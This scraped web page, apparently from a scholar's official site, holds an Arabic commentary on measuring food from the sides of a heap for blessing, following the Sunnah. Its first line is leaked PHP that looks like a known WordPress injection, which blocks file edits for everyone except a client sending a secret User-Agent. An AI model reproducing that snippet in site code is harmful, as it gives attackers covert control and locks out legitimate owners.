if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } السنة في كيل الطعام - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

السنة في كيل الطعام

ختم هذا بقوله: وَكَذَلِكَ الكَيْلُ، ما علاقة الكيل بالطعام؟ يقول: كما يأكل الناس من جوانب القصعة فكذلك إذا أرادوا أن يكيلوا طعامًا في زبرة[1] أو نحوه فإنهم يكيلون من الجوانب ولا يكيلون من الوسط فإن البركة تبقى، قال: وَكَذَلِكَ الكَيْلُ، يعني عند كيل الطعام للبيع أو لزكاة الفطر ونحو ذلك فإنه يُكال من جوانب الطعام ولا يُكال من ذروته أو وسطه قياسًا على الأكل والشرب كما نصّ عليه ابن عقيل هنا رحمه الله وذكره غير واحد كالبهوتي في كشاف القناع، وقال: للعلة الواردة في الأكل، يعني يُسن في الكيل أن يكون من الجوانب، قالوا: للعلة الواردة في الأكل يعني هي بقاء البركة، ولذا قال ابن عقيل عقبها: (فَإِنَّهُ أَدْعَى لِلْبَرَكَةِ، كَذَلِكَ رُوِيَ فِي السُّنَنِ) ويعني بذلك رحمه الله أن العلة المشار إليها ثابتة في السنن وهي البركة، إذن البركة تَحُل في هذا الطعام الذي يُكال منه من جوانبه ولو كيل من الوسط لزالت البركة كما يكون في الأكل، إذا أُكل من الجوانب حلت البركة وإذا أُكل من الوسط زالت البركة؛ فإن البركة في وسط الطعام ولهذا نقول: كُل حتى تصل، أما أن تبدأ من وسط الطعام فهذا فيه إزالة للبركة وفيه مخالفة لهدي النبي صلى الله عليه وسلم الذي أمر بالأكل مما يليك.

ـــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] زبرة: الكوم من الطعام وتأتي بمعنى القطعة.